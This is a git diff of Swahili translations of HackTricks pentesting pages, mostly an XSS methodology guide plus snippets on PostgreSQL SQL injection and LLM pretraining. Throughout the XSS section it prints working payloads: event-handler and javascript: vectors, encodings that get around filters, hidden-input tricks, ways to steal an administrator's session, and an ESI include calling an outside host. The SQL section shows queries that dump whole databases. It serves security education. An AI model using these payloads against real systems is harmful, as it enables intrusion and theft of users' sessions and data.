**Ukuran huu unalenga kuelezea mbinu tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha mbinu ambazo unaweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
@ -59,19 +59,19 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Hii kazi itarudisha data zote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kutupa data nyingi katika safu moja tu:
Hii kazi itarudisha data zote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kutupa data nyingi katika safu 1 tu:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
Hii kazi itatoa hifadhidata nzima katika muundo wa XML katika safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
Hii kazi itatoa hifadhidata nzima katika muundo wa XML kwa safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
```sql
SELECT database_to_xml(true,true,'');
```
### Strings in Hex
Ikiwa unaweza kuendesha **queries** ukipitia **ndani ya string** (kwa mfano kutumia kazi ya **`query_to_xml`**). **Unaweza kutumia convert\_from kupitisha string kama hex na kupita vichungi kwa njia hii:**
Ikiwa unaweza kuendesha **queries** ukipitia **ndani ya string** (kwa mfano kutumia kazi ya **`query_to_xml`**). **Unaweza kutumia convert\_from kupitisha string kama hex na kupita filters kwa njia hii:**
{% code overflow="wrap" %}
```sql
@ -97,9 +97,9 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu wa kompyuta** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
Ikiwa unavutiwa na **kazi ya udukuzi** na kudukuza yasiyoweza kudukuliwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -113,7 +113,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za uhalifu wa kompyuta kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
@ -8,7 +8,7 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
## Methodology
1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumika** na **JS** code.
1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code.
2. **Pata muktadha** ambapo inarudi/inatumika.
3. Ikiwa **inarudi**
1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload:
@ -18,20 +18,20 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
3. Je, unaweza kupita ulinzi?
4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
2. Ndani ya **HTML tag**:
2. Ndani ya **vitambulisho vya HTML**:
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
4. Je, unaweza kupita ulinzi?
3. Ndani ya **JavaScript code**:
1. Je, unaweza kukwepa `<script>` tag?
2. Je, unaweza kukwepa mfuatano na kutekeleza JS code tofauti?
1. Je, unaweza kutoroka `<script>` tag?
2. Je, unaweza kutoroka string na kutekeleza JS code tofauti?
3. Je, ingizo lako liko katika template literals \`\`?
4. Je, unaweza kupita ulinzi?
4. Javascript **function** inayo **tekelezwa**
1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
4. Ikiwa **inatumika**:
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linadhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
4. Ikiwa **inatumiwa**:
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
@ -56,14 +56,14 @@ Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi ingizo lako li
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
### Ndani ya sifa za HTML tags
### Ndani ya sifa za vitambulisho vya HTML
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
1. Kutoa **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoa kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoa kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
```html
@ -120,7 +120,7 @@ parentElement
```
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **kurasa nyingine katika asili hiyo** will have a **DOM yenye kuvutia zaidi** to perform more actions.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
@ -138,8 +138,8 @@ There is **JS code** that is using **unsafely** some **data controlled by an att
### **Universal XSS**
These kind of XSS can be found **popote**. They not depend just on the client exploitation of a web application but on **muktadha** **wowote**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **kusoma** **faili** **za kawaida** in clients and servers, and more.\
Some **mfano**:
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
Some **examples**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -155,7 +155,7 @@ Some **mfano**:
## Injecting inside raw HTML
When your input is reflected **ndani ya ukurasa wa HTML** or you can escape and inject HTML code in this context the **kitu cha kwanza** you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Note: A HTML comment can be closed using\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_
@ -251,7 +251,7 @@ Ikiwa ili kutumia udhaifu unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye
### Impossible - Dangling Markup
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **msimbo wa JS**.
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **JS** msimbo.
## Injecting inside HTML tag
@ -275,12 +275,12 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
```
### Ndani ya sifa
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wowote unapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wowote: **`href="javascript:alert(1)"`**
**Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode**
**Herufi za HTML zilizokodishwa** ndani ya thamani ya sifa za vitambulisho vya HTML **zinatolewa wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
**Makarakteri yaliyokodishwa ya HTML** ndani ya thamani ya sifa za vitambulisho vya HTML yanatolewa **wakati wa kutekeleza**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
```javascript
@ -355,17 +355,17 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Njia nyingine za kuficha**
_**Katika kesi hii, mbinu ya usimbuaji wa HTML na usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
_**Katika kesi hii, hifadhidata ya HTML na hifadhidata ya Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **kimeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapewa URL encoding, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapewa URL encoding**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Kumbuka kwamba ikiwa unajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
**Kutumia Hex na Octal encode na `javascript:`**
@ -393,7 +393,7 @@ Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka a
### juu ya Kuepuka Wakati wa Wakati
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** muhimu.\
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda event handlers hizi unaweza kujaribu njia zifuatazo za kuepuka:
```javascript
<svg onload%09=alert(1)> //No safari
@ -409,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS katika "Vitambulisho visivyoweza kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)
### XSS katika "Vitambulisho visivyoweza kutumika" (kazi ya siri, kiungo, kanuni, meta)
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya viingizo vilivyofichwa na:**
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia kazi za siri kwa:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -424,7 +424,7 @@ Na katika **meta tags**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumsihi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector:
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kushawishi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -470,7 +470,7 @@ Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impac
## Kuingiza ndani ya msimbo wa JavaScript
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML yanayoweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
### Kutoroka \<script> tag
@ -735,21 +735,21 @@ top[8680439..toString(30)](1)
````
## **Vikosi vya DOM**
Kuna **kodiyaki ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
Kuna **kodiyaki ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
Hapa utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
### Kuboresha Self-XSS
### Cookie XSS
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa utapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -757,13 +757,13 @@ Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni
Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Kutuma kikao chako kwa admin
### Kutuma kikao chako kwa msimamizi
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anapofikia, atachochea udhaifu huo.
### Kurefusha Kikao
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Ikiwa utapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
@ -771,7 +771,7 @@ Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao cha
### Unicode Iliyosawazishwa
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zinakuwa **sawasawa za unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript
@ -822,18 +822,18 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS na uingizaji kichwa katika jibu la 302
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **si rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote kati yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
### Herufi, Nambari na Nukta Pekee
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inafanya** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kujua jinsi ya kutumia tabia hii.
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inayo tekeleza** ikipunguzwa kwa herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kujua jinsi ya kutumia tabia hii vibaya.
### Aina za Maudhui Halali za `<script>` kwa XSS
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatoa kosa lifuatalo:
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatupa kosa lifuatalo:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -893,7 +893,7 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuanzisha XSS.
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuibua XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
```html
@ -1086,7 +1086,7 @@ trigger()
### Iframe Trap
Fanya mtumiaji aende kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
@ -1338,9 +1338,9 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
[xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %}
### XSS kwa SSRF
### XSS hadi SSRF
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection na payload hii:
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo hadi SSRF** kupitia Edge Side Include Injection na payload hii:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1444,7 +1444,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).

View file

@ -2,7 +2,7 @@
## Pretraining
Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data za maandiko. Wakati wa hatua hii, **LLM inajifunza muundo wa msingi, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kutoa maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu wa awali unaweza kupitia mchakato wa fine-tuning, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyokusudiwa.
